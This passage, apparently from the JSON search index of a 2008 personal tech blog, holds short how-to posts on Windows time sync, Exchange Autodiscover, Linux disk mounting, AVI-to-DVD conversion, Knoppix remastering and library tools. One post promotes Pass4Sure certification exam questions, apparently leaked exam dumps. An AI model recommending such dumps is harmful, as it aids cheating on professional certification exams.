http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareIndex.jsp?lang=en\u0026amp;cc=us\u0026amp;prodNameId=3360097\u0026amp;prodTypeId=215348\u0026amp;prodSeriesId=3375716\u0026amp;swLang=13\u0026amp;taskId=135\u0026amp;swEnvOID=4014#1130\n","permalink":"https://blog.wapnet.nl/2008/09/hp-ipaq-514-voice-messenger-battery-fix/","summary":"\u003cp\u003eThe HP iPAQ 514 battery is empty very fast. Here you can find a ARM driver update to fix this issue:   \u003ca href=\"https://mobile.global-e.nl/owa/redir.aspx?C=75b781d4215746719183eac591995d6d\u0026amp;URL=http%3a%2f%2fh20000.www2.hp.com%2fbizsupport%2fTechSupport%2fSoftwareIndex.jsp%3flang%3den%26cc%3dus%26prodNameId%3d3360097%26prodTypeId%3d215348%26prodSeriesId%3d3375716%26swLang%3d13%26taskId%3d135%26swEnvOID%3d4014%231130\"\u003ehttp://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareIndex.jsp?lang=en\u0026amp;cc=us\u0026amp;prodNameId=3360097\u0026amp;prodTypeId=215348\u0026amp;prodSeriesId=3375716\u0026amp;swLang=13\u0026amp;taskId=135\u0026amp;swEnvOID=4014#1130\u003c/a\u003e\u003c/p\u003e","title":"HP iPAQ 514 Voice Messenger Battery Fix"},{"content":"For Autodiscover, you actually have two options.\n1. Repeat the above process, with a new dedicated web site for autodiscover. The command for a new Autodiscover virtual directory is\nNew-AutodiscoverVirtualDirectory -Websitename Autodiscover -BasicAuthentication:$true -WindowsAuthentication:$true\nThat web site can then get its own SSL certificate. This could be useful if you use two different domains, one for email and one for external facing web services. Autodiscover uses the same domain as your email. However if you have multiple domains for email, you will need to use the redirect method. 2. Add to the external web site and configure a redirect.\nTo add the Autodiscover virtual directory to the External web site created in above:\nNew-AutodiscoverVirtualDirectory -Websitename External -BasicAuthentication:$true -WindowsAuthentication:$true\nThe redirection configuration is very important to ensure that it works correctly. The redirection method requires port 80 (http) traffic to come in. For internal traffic that is fine, but for external traffic you may want to look at a way of configuring the redirection using a public web site.\nAt the time of writing, this is Microsoft\u0026rsquo;s article on redirection. It is covered under the section Hosted Environments and the Autodiscover Service, but would also be useful if you have more than one domain, or you use a different domain for email than you do for external facing web services.\n","permalink":"https://blog.wapnet.nl/2008/09/autodiscover-service-exchange-2007/","summary":"\u003cp\u003eFor Autodiscover, you actually have two options.\u003c/p\u003e\n\u003cp\u003e1. Repeat the above process, with a new dedicated web site for autodiscover.\nThe command for a new Autodiscover virtual directory is\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNew-AutodiscoverVirtualDirectory -Websitename Autodiscover -BasicAuthentication:$true -WindowsAuthentication:$true\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThat web site can then get its own SSL certificate.\nThis could be useful if you use two different domains, one for email and one for external facing web services. Autodiscover uses the same domain as your email.\nHowever if you have multiple domains for email, you will need to use the redirect method.\n2. Add to the external web site and configure a redirect.\u003c/p\u003e","title":"Autodiscover Service Exchange 2007"},{"content":"Edit\n","permalink":"https://blog.wapnet.nl/2008/09/blogaap/","summary":"\u003cp\u003eEdit\u003c/p\u003e","title":"a Network"},{"content":"Some computers that are joined to a domain are configured to synchronize from a manual time source. Use the following procedure to configure a client computer that is currently synchronizing with a manually specified computer, to automatically synchronize time with the domain hierarchy.\nNoteFor more information about the w32tm command, type w32tm /? at a command prompt or see Windows Time Service Tools and Settings on the Microsoft Web site (http://go.microsoft.com/fwlink/?LinkId=42984).\nAdministrative Credentials\nTo perform this procedure, you must be a member of the Administrators group on the local computer. To perform this procedure from a remote computer, you must be a member of the Domain Admins group.\nTo configure a client computer for automatic domain time synchronization\nOpen a Command Prompt. Type the following command and then press ENTER: w32tm /config /syncfromflags:domhier /update Type the following command and then press ENTER: net stop w32time Type the following command and then press ENTER: net start w32time Administrative Credentials\nTo perform this procedure locally on the PDC emulator, you must be a member of the Administrators group. To perform this procedure from a remote computer, you must be a member of the Domain Admins group.\nTo configure the Windows Time service on the PDC emulator\nOpen a Command Prompt. Type the following command to display the time difference between the local computer and a target computer, and then press ENTER: w32tm /stripchart /computer: target /samples: n /dataonly Value Definition_target_Specifies the DNS name or IP address of the NTP server that you are comparing the local computer\u0026rsquo;s time against, such as time.windows.com._n_Specifies the number of time samples that will be returned from the target computer to test basic NTP communication.\nOpen UDP port 123 for outgoing traffic if needed. Open UDP port 123 (or a different port you have selected) for incoming NTP traffic. Type the following command to configure the PDC emulator and then press ENTER: w32tm /config /manualpeerlist: peers /syncfromflags:manual /reliable:yes /update\nwhere peers specifies the list of DNS names and/or IP addresses of the NTP time source that the PDC emulator synchronizes from. For example, you can specify time.windows.com. When specifying multiple peers, use a space as the delimiter and enclose them in quotation marks.\nw32tm /config /manualpeerlist: time.windows.com /syncfromflags:manual /reliable:yes /update ","permalink":"https://blog.wapnet.nl/2008/09/configure-a-client-computer-for-automatic-domain-time-synchronization/","summary":"\u003cp\u003eSome computers that are joined to a domain are configured to synchronize from a manual time source. Use the following procedure to configure a client computer that is currently synchronizing with a manually specified computer, to automatically synchronize time with the domain hierarchy.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"note\" loading=\"lazy\" src=\"http://i.technet.microsoft.com/cc758905.note.gif\"\u003eNoteFor more information about the \u003cstrong\u003ew32tm\u003c/strong\u003e command, type \u003cstrong\u003ew32tm /?\u003c/strong\u003e at a command prompt or see \u003ca href=\"http://go.microsoft.com/fwlink/?LinkId=42984\"\u003eWindows Time Service Tools and Settings\u003c/a\u003e on the Microsoft Web site (\u003ca href=\"http://go.microsoft.com/fwlink/?LinkId=42984\"\u003ehttp://go.microsoft.com/fwlink/?LinkId=42984\u003c/a\u003e).\u003c/p\u003e","title":"Configure a client computer for automatic domain time synchronization"},{"content":"This must work:\nFirst: Console: dmesg |grep bsd\nSecond: mkdir /mnt/ufs/\nThen: mount -r -t ufs -o ufstype=44bsd /dev/sda5 /mnt/ufs/ where /dev/sda5 is one of the partition listed in dmesg\n","permalink":"https://blog.wapnet.nl/2008/09/mount-freebsd-disk-in-linux/","summary":"\u003cp\u003eThis must work:\u003c/p\u003e\n\u003cp\u003eFirst:\nConsole: \u003cem\u003e\u003cstrong\u003edmesg |grep bsd\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eSecond:\n\u003cstrong\u003e\u003cem\u003emkdir /mnt/ufs/\u003c/em\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThen:\n\u003cstrong\u003e\u003cem\u003emount -r -t ufs -o ufstype=44bsd /dev/sda5 /mnt/ufs/\u003c/em\u003e\u003c/strong\u003e where \u003cem\u003e/dev/sda5\u003c/em\u003e is one of the partition listed in dmesg\u003c/p\u003e","title":"Mount FreeBSD disk in Linux"},{"content":"Run Subtitle Workshop. Tools \u0026gt; Join Subtitles Check the boxes \u0026lsquo;Load file after join\u0026rsquo; and \u0026lsquo;Recalculate time values\u0026rsquo;. [it will load the new combined file and reset the values on the second part of the subs] \u0026lsquo;Add\u0026rsquo; the subtitle files and click \u0026lsquo;Join\u0026rsquo;. The new combined files will load. Click \u0026lsquo;Movie\u0026rsquo; and open the movie file and check the subs sync.\n","permalink":"https://blog.wapnet.nl/2008/08/howto-combine-or-edit-subtitles/","summary":"\u003cp\u003eRun \u003ca href=\"http://www.afterdawn.com/software/video_software/subtitle_tools/subtitle_workshop.cfm\"\u003eSubtitle Workshop\u003c/a\u003e.\nTools \u0026gt; Join Subtitles\nCheck the boxes \u0026lsquo;Load file after join\u0026rsquo; and \u0026lsquo;Recalculate time values\u0026rsquo;.\n[it will load the new combined file and reset the values on the second part of the subs]\n\u0026lsquo;Add\u0026rsquo; the subtitle files and click \u0026lsquo;Join\u0026rsquo;.\nThe new combined files will load.\nClick \u0026lsquo;Movie\u0026rsquo; and open the movie file and check the subs sync.\u003c/p\u003e","title":"Howto: Combine or edit subtitles"},{"content":"Hi\nI have installed Fedora Core 3 and on booting up it gives the error\nfsck.ext3:Unable to resolve \u0026ldquo;LABEL=/\u0026rdquo; An error occured during filesystem check Dropping you to a shell, the system will reboot when you leave shell\nOk I searched on the net regarding this\u0026hellip;\nMy /etc/fstab had the following entries\nLABEL=/ / ext3 defaults 1 1 LABEL=/var/log /var/log ext3 defaults 1 2 \u0026hellip;.. \u0026hellip;.\nMy grub.conf had the following entries\ntitle StorTrends iTX 2.0 (2.6.9-1.667smp) root (hd0,0) kernel /boot/vmlinuz-2.6.9-1.667smp ro root=LABEL=/ elevator=deadline vga=0x318 quiet initrd /boot/initrd-2.6.9-1.667smp.img\n\\\\\\************************************************ ** In maintenance mode i mounted the / in read - write mode mount -n -o remount,rw /\n","permalink":"https://blog.wapnet.nl/2008/08/fsckext3-unable-to-resolve/","summary":"\u003cp\u003eHi\u003c/p\u003e\n\u003cp\u003eI have installed Fedora Core 3 and on booting up it gives the error\u003c/p\u003e\n\u003cp\u003efsck.ext3:Unable to resolve \u0026ldquo;LABEL=/\u0026rdquo;\nAn error occured during filesystem check\nDropping you to a shell, the system will reboot\nwhen you leave shell\u003c/p\u003e\n\u003cp\u003eOk I searched on the net regarding this\u0026hellip;\u003c/p\u003e\n\u003cp\u003eMy /etc/fstab had the following entries\u003c/p\u003e\n\u003cp\u003eLABEL=/ / ext3 defaults 1 1\nLABEL=/var/log /var/log ext3 defaults 1 2\n\u0026hellip;..\n\u0026hellip;.\u003c/p\u003e\n\u003cp\u003eMy grub.conf had the following entries\u003c/p\u003e","title":"fsck.ext3: Unable to resolve"},{"content":"E veryone owning an email address knows these annoying mails you receive. The number of spam mails running around is continuously increasing so everyone has to spend more time on sorting out good mails from spam. Don\u0026rsquo;t waste time on this let SpamAware do it for you! SpamAware is a plugin for Ms-Outlook and MS-Outlook Express. It uses SpamAssassin to score new incomming mails and decides based on the settings made in options what to do with the mail. It contacts through SpamAssassin several spam-server to be more efficient. The application is completely functional after installation and gets automatically active on new mails. It supports Black- and Whitelist filtering and is able to automatically add all your Outlook and Outlook Express contacts and add recipients of mails you write to the Whitelist.\nDownload: http://www.jam-software.com/freeware/SpamAware-Setup.exe Source: http://www.jam-software.com/freeware/index.shtml\n","permalink":"https://blog.wapnet.nl/2008/06/spamaware-v502/","summary":"\u003cp\u003e\u003cstrong\u003eE\u003c/strong\u003e veryone owning an email address knows these annoying mails you receive. The number of spam mails running around is continuously increasing so everyone has to spend more time on sorting out good mails from spam. Don\u0026rsquo;t waste time on this let SpamAware do it for you! SpamAware is a plugin for Ms-Outlook and MS-Outlook Express. It uses SpamAssassin to score new incomming mails and decides based on the settings made in options what to do with the mail. It contacts through SpamAssassin several spam-server to be more efficient. The application is completely functional after installation and gets automatically active on new mails. It supports Black- and Whitelist filtering and is able to automatically add all your Outlook and Outlook Express contacts and add recipients of mails you write to the Whitelist.\u003c/p\u003e","title":"SpamAware V5.0.2"},{"content":"\n","permalink":"https://blog.wapnet.nl/2008/05/wireless-channel-overview/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/05/Wireless.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/05/Wireless.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Wireless Channel Overview"},{"content":"See this blog: http://ipodvirtualos.blogspot.com/\nThis works After those failed methods I was sure about some necessary things:\nA Windows XP installation is required (for pc\u0026rsquo;s), so I need an emulator. The emulator should support USB 2.0 I want it free and legal (opinion) It should be stable and fast to work with Finaly after using Google (again) I found an emulator that would do the job: VirtualBox. It\u0026rsquo;s a free emulator with USB support and it runs remarkably faster than the VMWare Workstation. For people who run Compiz-Fusion: VirtualBox in fullscreen allows cube rotation while the cursor is on the VirtualBox-window. I haven\u0026rsquo;t found a way to do this with VMWare\u0026hellip;\nThis is how I did it:\nFirst, to be able to access your USB-ports in VirtualBox you need to run the following command as superuser, or add his equivalent line in /etc/fstab :\n# sudo mount -t usbfs none /proc/bus/usb\nNow to download and install VirtualBox, visit\nhttp://www.virtualbox.org/wiki/Downloads\nand download the package that fits your linux distribution and processor architecture. The packages are automatically installable with the GDebi Package Installer (for Ubuntu users).\nAfter the installation read the users manual on\nhttp://www.virtualbox.org/download/UserManual.pdf\nto find out how to create a new guest operation system. You should create a new Windows XP home/professional guest.(*)\nOnce you have set up a new guest you should install Guest Additions to improve the functionality:\nStart your guest OS and wait until it is completely booted Go to the Device menu and take the last item: Install Guest Additions. A wizard will start in your guest OS. You will be prompted to restart your guest, so do this. Then download and install iTunes 7.4 (or later):\nhttp://www.apple.com/itunes/download/\nPlug in your iPod, and wait for iTunes to react. If it doesn\u0026rsquo;t, go to the Device menu, select USB Devices and click your iPod. If your iPod is not in the list, you should plug in you iPod before you start VirtualBox.\n","permalink":"https://blog.wapnet.nl/2008/04/ipod-itunes-under-linux/","summary":"\u003cp\u003eSee this blog: \u003ca href=\"http://ipodvirtualos.blogspot.com/\"\u003ehttp://ipodvirtualos.blogspot.com/\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"this-works\"\u003e\u003ca href=\"http://ipodvirtualos.blogspot.com/2007/11/this-works.html\"\u003eThis works\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"http://bp0.blogger.com/_WJfoaZV2G3g/Ryn7UCeRgYI/AAAAAAAAAAY/bqHaZCDaFBM/s1600-h/Screenshot-VirtualBox+-+About.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://bp0.blogger.com/_WJfoaZV2G3g/Ryn7UCeRgYI/AAAAAAAAAAY/bqHaZCDaFBM/s200/Screenshot-VirtualBox+-+About.png\"\u003e\u003c/a\u003e\nAfter those failed methods I was sure about some necessary things:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA Windows XP installation is required (for pc\u0026rsquo;s), so I need an emulator.\u003c/li\u003e\n\u003cli\u003eThe emulator should support USB 2.0\u003c/li\u003e\n\u003cli\u003eI want it free and legal (opinion)\u003c/li\u003e\n\u003cli\u003eIt should be stable and fast to work with\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFinaly after using Google (again) I found an emulator that would do the job: VirtualBox. It\u0026rsquo;s a free emulator with USB support and it runs remarkably faster than the VMWare Workstation. For people who run Compiz-Fusion: VirtualBox in fullscreen allows cube rotation while the cursor is on the VirtualBox-window. I haven\u0026rsquo;t found a way to do this with VMWare\u0026hellip;\u003c/p\u003e","title":"iPod / iTunes under Linux"},{"content":"here\u0026rsquo;s 6 basic steps to convert a .AVI to DVD so you can watch your movies on your home player, not just your computer. . .But first we need to figure out if it\u0026rsquo;s a fullscreen movie or letterbox movie. . .Movies normally come in two sizes: 4:3 (fullscreen) or 16:9 (letterbox) which they call aspect ratio. . .They also come in two formats PAL (Non-US) and NTSC (US). . .The following examples are for NTSC Only!\nwhat you need first: transcode mplayer Mjpegtools ffmpeg dvd+rw-tools Dvdauthor some hardrive space\nin this example I will be using a 16:9 movie.avi for our conversion. . .\n1.) Split the .avi file into 2 separate files, one for video and one for audio:\nCode:\ntranscode -i movie.avi -y ffmpeg --export_prof dvd-ntsc --export_asr 3 -o movie -D0 -s2 -m movie.ac3 -J modfps=clonetype=3 --export_fps 29.97 this will make: movie.m2v (video) movie.ac3 (audio)\nnote: if you\u0026rsquo;re doing a fullscreen (4:3) movie then simply change \u0026ndash;export_asr 3 to \u0026ndash;export_asr 2\n2.) (optional) Extract 5.1 Audio:\nCode:\ntcextract -d2 -i movie.avi -a0 -x ac3 | tcextract -d2 -x ac3 -t raw \u0026gt; movie.ac3 This is an extra step if you know your .avi file actually has 5.1 surround sound. (Step one only produces a stereo .ac3 file !) How can you tell? Do this first:\nCode:\nmplayer -vo dummy -identify movie.avi 2\u0026gt; /dev/null | grep \u0026#34;5.1 (\u0026#34; if you get this output then you have 5.1:\nCode:\nAC3: 5.1 (3f+2r+lfe) 48000 Hz 384.0 kbit/s if you don\u0026rsquo;t, just ignore this step!\n3.) Put the video \u0026amp; audio file back together:\nCode:\nmplex -f 8 -o dvd_movie.mpg movie.m2v movie.ac3 this will make dvd_movie.mpg ready for DVD authoring. . .\n4.) open your favorite text editor and paste the following:\nCode:\n\u0026lt;dvdauthor dest=\u0026#34;DVD\u0026#34;\u0026gt; \u0026lt;vmgm /\u0026gt; \u0026lt;titleset\u0026gt; \u0026lt;titles\u0026gt; \u0026lt;pgc\u0026gt; \u0026lt;vob file=\u0026#34;dvd_movie.mpg\u0026#34; chapters=\u0026#34;0,15:00,30:00,45:00,1:00:00\u0026#34;/\u0026gt; \u0026lt;/pgc\u0026gt; \u0026lt;/titles\u0026gt; \u0026lt;/titleset\u0026gt; \u0026lt;/dvdauthor\u0026gt; save the file as: dvdauthor.xml in the same directory as your movie files (you can also change the chapters to fit the times of your movie)\n5.) Create a DVD directory where your movie files are and do this:\nCode:\ndvdauthor -x dvdauthor.xml this will create two AUDIO_TS and VIDEO_TS directories in your DVD directory. . .\n6.) Test it \u0026amp; Burn it:\nto test it:\nCode:\nxine dvd:/full/path/to/DVD/VIDEO_TS/ to burn it:\nCode:\ngrowisofs -Z /dev/dvd -dvd-video DVD/ note: I like to use DVD-RW discs for a test before I use a real disc. . . If all goes well, the above will produce movie with no menus, just the movie that should play when you put in your disc. . .and if there\u0026rsquo;s more than one .avi then simply do this in your dvdauthor.xml file:\nCode:\n\u0026lt;dvdauthor dest=\u0026#34;DVD\u0026#34;\u0026gt; \u0026lt;vmgm /\u0026gt; \u0026lt;titleset\u0026gt; \u0026lt;titles\u0026gt; \u0026lt;pgc\u0026gt; \u0026lt;vob file=\u0026#34;dvd_movie_part1.mpg\u0026#34; chapters=\u0026#34;0,15:00,30:00,45:00,1:00:00\u0026#34;/\u0026gt; \u0026lt;/pgc\u0026gt; \u0026lt;pgc\u0026gt; \u0026lt;vob file=\u0026#34;dvd_movie_part2.mpg\u0026#34; chapters=\u0026#34;0,15:00,30:00,45:00,1:00:00\u0026#34;/\u0026gt; \u0026lt;/pgc\u0026gt; \u0026lt;/titles\u0026gt; \u0026lt;/titleset\u0026gt; \u0026lt;/dvdauthor\u0026gt; Source: http://www.linuxquestions.org/linux/answers/Applications_GUI_Multimedia/AVI_to_DVD\n","permalink":"https://blog.wapnet.nl/2008/04/avi-to-dvd/","summary":"\u003cp\u003ehere\u0026rsquo;s 6 basic steps to convert a .AVI to DVD so you can watch your movies on your home player, not just your computer. . .But first we need to figure out if it\u0026rsquo;s a fullscreen movie or letterbox movie. . .Movies normally come in two sizes: 4:3 (fullscreen) or 16:9 (letterbox) which they call aspect ratio. . .They also come in two formats PAL (Non-US) and NTSC (US). . .The following examples are for NTSC Only!\u003c/p\u003e","title":"AVI to DVD"},{"content":"http://www.microsoft.com/emea/spotlight/sessionh.aspx?videoid=722\n","permalink":"https://blog.wapnet.nl/2008/04/sysinternals-explaind/","summary":"\u003cp\u003e\u003ca href=\"http://www.microsoft.com/emea/spotlight/sessionh.aspx?videoid=722\"\u003ehttp://www.microsoft.com/emea/spotlight/sessionh.aspx?videoid=722\u003c/a\u003e\u003c/p\u003e","title":"Sysinternals Explaind"},{"content":"Floola is een gratis programma waarmee een iPod en een mobiele telefoon van Motorola kan worden beheerd. Het programma is voor Windows, Mac OS X en Linux beschikbaar. Ondersteuning is voor alle functionaliteit uit iTunes, waaronder album art, podcasts en smart playlists, is aanwezig. Floola hoeft daarnaast niet te worden geïnstalleerd om zijn werk te kunnen doen.\nHier kun Floola downloaden.\n","permalink":"https://blog.wapnet.nl/2008/04/floola/","summary":"\u003cp\u003eFloola is een gratis programma waarmee een iPod en een mobiele telefoon van Motorola kan worden beheerd. Het programma is voor Windows, Mac OS X en Linux beschikbaar. Ondersteuning is voor alle functionaliteit uit iTunes, waaronder album art, podcasts en smart playlists, is aanwezig. Floola hoeft daarnaast niet te worden geïnstalleerd om zijn werk te kunnen doen.\u003c/p\u003e\n\u003cp\u003eHier kun \u003ca href=\"http://www.floola.com/modules/wiwimod/index.php?page=download\"\u003eFloola\u003c/a\u003e downloaden.\u003c/p\u003e","title":"Floola"},{"content":"Today i found an real life / time saving debian/ubuntu tool. The name of the tool is getlibs. This tool automatically find the libs and install these. In the past I have search my ass off to find the correct debian libs. Now this problem is (hopefully) fixed 4ever! :D\nOn 64-bit systems it downloads and installs libraries needed for 32-bit programs and 64-bit programs. On 32-bit systems it downloads and installs libraries needed for 32-bit programs.\nThank you to the following bug reporters: marararam ViRMiN Cabal elanthis BogusJoe NullHead mooball Thank you to the following Beta Testers: Kilz BogusJoe NullHead Special thanks to: RavanH\nTo install or upgrade: http://www.boundlesssupremacy.com/Ca\u0026hellip;etlibs-all.deb Download and double click the file to install.\n---\u0026ndash;\nView the source without installing the package: http://www.boundlesssupremacy.com/Cappy/getlibs/getlibs getlibs works on:\nAll Ubuntu and Debian systems Debian or Ubuntu based distributions (best to use the package name) Tip: To install a 32-bit debian package for a program (not a library!) use\nCode:\nsudo dpkg -i --force-all package_name.deb Usage Examples:\ngetlibs on a program to download all missing libraries:\nCode:\ngetlibs /usr/bin/skype ---\u0026ndash;\nUse getlibs to install a 32-bit library using the library name:\nCode:\ngetlibs -l libogg.so.0 libSDL-1.2.so.0 ---\u0026ndash;\nUse getlibs to install a 32-bit library using the package name:\nCode:\ngetlibs -p libqt4-core libqt4-gui ---\u0026ndash;\nInstall a 32-bit library file (.deb):\nCode:\ngetlibs -i ~/i386_library_1.deb ---\u0026ndash;\nDownload and install a 32-bit library file (.deb):\nCode:\ngetlibs -w http://mirrors.kernel.org/ubuntu/pool/main/s/sdl-image1.2/libsdl-image1.2_1.2.5-3_i386.deb ---\u0026ndash;\nOther options:\n\u0026ndash;apt-file : Uses apt-file to find the packagenames for libraries. The default uses packages.ubuntu.com. This is especially useful for non-ubuntu users.\n\u0026ndash;build : converts a 32-bit package to a 64-bit package and installs it. This will only install libraries from a 32-bit package into the correct place! This will not install any binaries from that package! This is very beta.\n\u0026ndash;savebuild : use with \u0026ndash;build. Saves new 64-bit package to /home/$USER\n\u0026ndash;mirror or -m : Use the specified mirror to download from if one is not specified for package\n\u0026ndash;verbose : Extra output\n\u0026ndash;ldconfig : Runs ldconfig on directories where new libraries are installed\n-64 : Will let apt-get install 64-bit packages for a 64-bit system\n-32 : Left only for compatibility with getlibs v1. 32-bit library installation is the default for all systems.\n\u0026ndash;distro : can set as either Ubuntu or Debian. Ubuntu installs to /usr/lib32 and/or /lib32. Debian installs to /emul/ia32-linux/\n\u0026ndash;release : can set as hardy gutsy feisty edgy or dapper. Determines what web interface release is used in search.\nSource: http://ubuntuforums.org/showthread.php?t=474790\n","permalink":"https://blog.wapnet.nl/2008/03/getlibs-automatically-solves-dependencies-for-32-bit-programs-on-64-bit/","summary":"\u003cp\u003eToday i found an real life / time saving debian/ubuntu tool. The name of the tool is getlibs. This tool automatically find the libs and install these. In the past I have search my ass off to find the correct debian libs. Now this problem is (hopefully) fixed 4ever! :D\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eOn 64-bit systems it downloads and installs libraries needed for 32-bit programs and 64-bit programs.\u003c/strong\u003e\n\u003cstrong\u003eOn 32-bit systems it downloads and installs libraries needed for 32-bit programs.\u003c/strong\u003e\u003c/p\u003e","title":"Getlibs: Automatically solves dependencies for 32-bit programs on 64-bit"},{"content":"15-3-08\nI want to create a new linux project. The laptop have a solit state flash drive with only 128mb ram.\nThe following must run: - Debian\\Ubuntu as main OS - Xwindow manager (Flux box, Enlightenment, ICEWM or XFCE) - PPTP VPN connections - Remote desktop program for Windows RDP\nThe main problem of solid state flash is that you can write the disk not forever. So the log \u0026amp; temporary files must be run in the RAM. I found the following solution:\n/etc/fstab\ntmp /tmp tmpfs noexec,nosuid,rw,size=1024K 0 0 vartmp /var/tmp tmpfs noexec,nosuid,rw,size=1024K 0 0 varlog /var/log tmpfs noexec,nosuid,rw,size=2048K 0 0 17-03-08:\nMy Distro choice is DSL (damn small linux) because that is a very small distro including window manager.\nThe first big problem is that i have only a 64mb SSD disk. I must create 57mb for my \u0026ldquo;fragile\u0026rdquo; installation. A have 7 MB for my home \u0026amp; swap. I\u0026rsquo;ll have try it without swap but DSL was very unstable on my laptop.\n18-03-08\nI found a solution (DSL Create own CD(PDF)) to create a my own installation CD. When I re-mastering the distro I can add items. But soon I\u0026rsquo;ll try this manner to strip the distribution to a smaller one :)\n19-03-08\nWhen I remastered the DS, I seen one big KNOPPIX file. Now I must rebuild te KNOPPIX enviroment instead of the DSL. The KNOPPIX file is like a ISO. I must mount the file before i can edit these.\nI found the following steps on the internet:\nUncompress the DSL-N *.iso and \u0026lsquo;unpack\u0026quot; the knoppix image\n# mkdir /ramdisk/image # mount /path-to-file/dsl-n-01RC4.iso /ramdisk/image -t iso9660 -o loop,ro # mkdir /ramdisk/unpack # mount /ramdisk/image/KNOPPIX/KNOPPIX /ramdisk/unpack -t iso9660 -o ro,loop=/dev/cloop50\nPrepare a place to put the files for the re-mastered knoppix image\n# mkdir /ramdisk/source # mkdir /ramdisk/newcd # mkdir /ramdisk/newcd/KNOPPIX # cp -Rp /ramdisk/unpack/* /ramdisk/source # cp -Rp /ramdisk/unpack/.bash_profile /ramdisk/source\nCopy additional files to be added to the new knoppix image\n# cp /path-to-file/file /ramdisk/source/path-to-file/file # etc etc\n\u0026ldquo;Pack\u0026rdquo; the new knoppix image\n# mkisofs -R /ramdisk/source | create_compressed_fs - 65536 \u0026gt; ramdisk/newcd/KNOPPIX/KNOPPIX I\u0026rsquo;ll try the mount and this works :) So now I must find the big files and strip these. My following step is find a tool like KDirStat to find these files.\n","permalink":"https://blog.wapnet.nl/2008/03/project-linux-on-solid-state-flash-laptop/","summary":"\u003cp\u003e15-3-08\u003c/p\u003e\n\u003cp\u003eI want to create a new linux project. The laptop have a solit state flash drive with only 128mb ram.\u003c/p\u003e\n\u003cp\u003eThe following must run:\n- Debian\\Ubuntu as main OS\n- Xwindow manager (Flux box, Enlightenment, ICEWM or XFCE)\n- PPTP VPN connections\n- Remote desktop program for Windows RDP\u003c/p\u003e\n\u003cp\u003eThe main problem of solid state flash is that you can write the disk not forever. So the log \u0026amp; temporary files must be run in the RAM. I found the following solution:\u003c/p\u003e","title":"Project: Linux on solid state flash laptop"},{"content":"http://www.ntpro.nl/blog/ (Website VMWare Teatcher) http://www.vizioncore.com/ (ESX Server backup software ) http://www.vmug.nl/ (Dutch VMWare Users Group)\n","permalink":"https://blog.wapnet.nl/2008/03/vmware-urls/","summary":"\u003cp\u003e\u003ca href=\"http://www.ntpro.nl/blog/\"\u003ehttp://www.ntpro.nl/blog/\u003c/a\u003e          (Website VMWare Teatcher)\n\u003ca href=\"http://www.vizioncore.com/\"\u003ehttp://www.vizioncore.com/\u003c/a\u003e       (ESX Server backup software )\n\u003ca href=\"http://www.vmug.nl/\"\u003ehttp://www.vmug.nl/\u003c/a\u003e                 (Dutch VMWare Users Group)\u003c/p\u003e","title":"VMWare URL's"},{"content":"http://www.erikvanalphen.nl/ibp/colorPicker.swf\n","permalink":"https://blog.wapnet.nl/2008/03/colorpicker/","summary":"\u003cp\u003e\u003ca href=\"http://www.erikvanalphen.nl/ibp/colorPicker.swf\"\u003ehttp://www.erikvanalphen.nl/ibp/colorPicker.swf\u003c/a\u003e\u003c/p\u003e","title":"Colorpicker"},{"content":"If you’ve used Ubuntu Linux for longer than a month, you’ve no doubt realized that every 30 times you boot up you are forced to run a filesystem check. This filesystem check is necessary in order to keep your filesystem healthy. Some people advise turning the check off completely, but that is generally not a recommended solution. Another solution is to increase the number of maximum mounts from 30 to some larger number like 100. That way it’s about 3 times less annoying. But this solution is also not recommended. Enter AutoFsck.\nAutoFsck is a set of scripts that replaces the file system check script that comes shipped with Ubuntu. The difference is that AutoFsck doesn’t ruin your day if you are so unfortunate to encounter the 30th mount. The most important difference is that AutoFsck does its dirty work when you shut your computer down, not during boot when you need your computer the most!The 30th time you mount your filesystem, AutoFsck will wait until you shut down your computer. It will then ask you if it is convenient for you to check your filesystem. If it is convenient for you, then AutoFsck will restart your computer, automatically execute the filesystem check, and then immediately power down your system. If it is not convenient for you to check your filesystem at that moment, then AutoFsck will wait until the next time you shut down your computer to ask you again. Being prompted for a file system check during shutdown is infinitely more convenient than being forced to sit through a 15 minute check during boot up.\nSource: http://micrux.net/?p=52 Official Site: https://wiki.ubuntu.com/AutoFsck\n","permalink":"https://blog.wapnet.nl/2008/03/ubuntu-30-mount-check-annoyance/","summary":"\u003cp\u003eIf you’ve used Ubuntu Linux for longer than a month, you’ve no doubt realized that every 30 times you boot up you are forced to run a filesystem check. This filesystem check is necessary in order to keep your filesystem healthy. Some people advise turning the check off completely, but that is generally not a recommended solution. Another solution is to increase the number of maximum mounts from 30 to some larger number like 100. That way it’s about 3 times less annoying. But this solution is also not recommended. Enter AutoFsck.\u003c/p\u003e","title":"Ubuntu 30-Mount Check Annoyance"},{"content":"Pas4sure has a lot of good exam questions you can you to prepare youre CCNA and MCSE exams.\nHere you can find a lot of exams: http://certready.blogspot.com/\nGood luck :)\n","permalink":"https://blog.wapnet.nl/2008/02/pass-you-exam-with-pass4sure/","summary":"\u003cp\u003ePas4sure has a lot of good exam questions you can you to prepare youre CCNA and MCSE exams.\u003c/p\u003e\n\u003cp\u003eHere you can find a lot of exams: \u003ca href=\"http://certready.blogspot.com/\"\u003ehttp://certready.blogspot.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGood luck :)\u003c/p\u003e","title":"Pass you exam with Pass4Sure"},{"content":"Every week Armin van Buuren (dutch Trance/Progressive DJ) is playing a two hour live set at digitally imported internet radio (www.di.fm). Here can you find all the mixes he playing at DI:\nhttp://www.zwemeister.com/\nEnjoy :)\n","permalink":"https://blog.wapnet.nl/2008/02/armin-van-buuren-livesets/","summary":"\u003cp\u003eEvery week 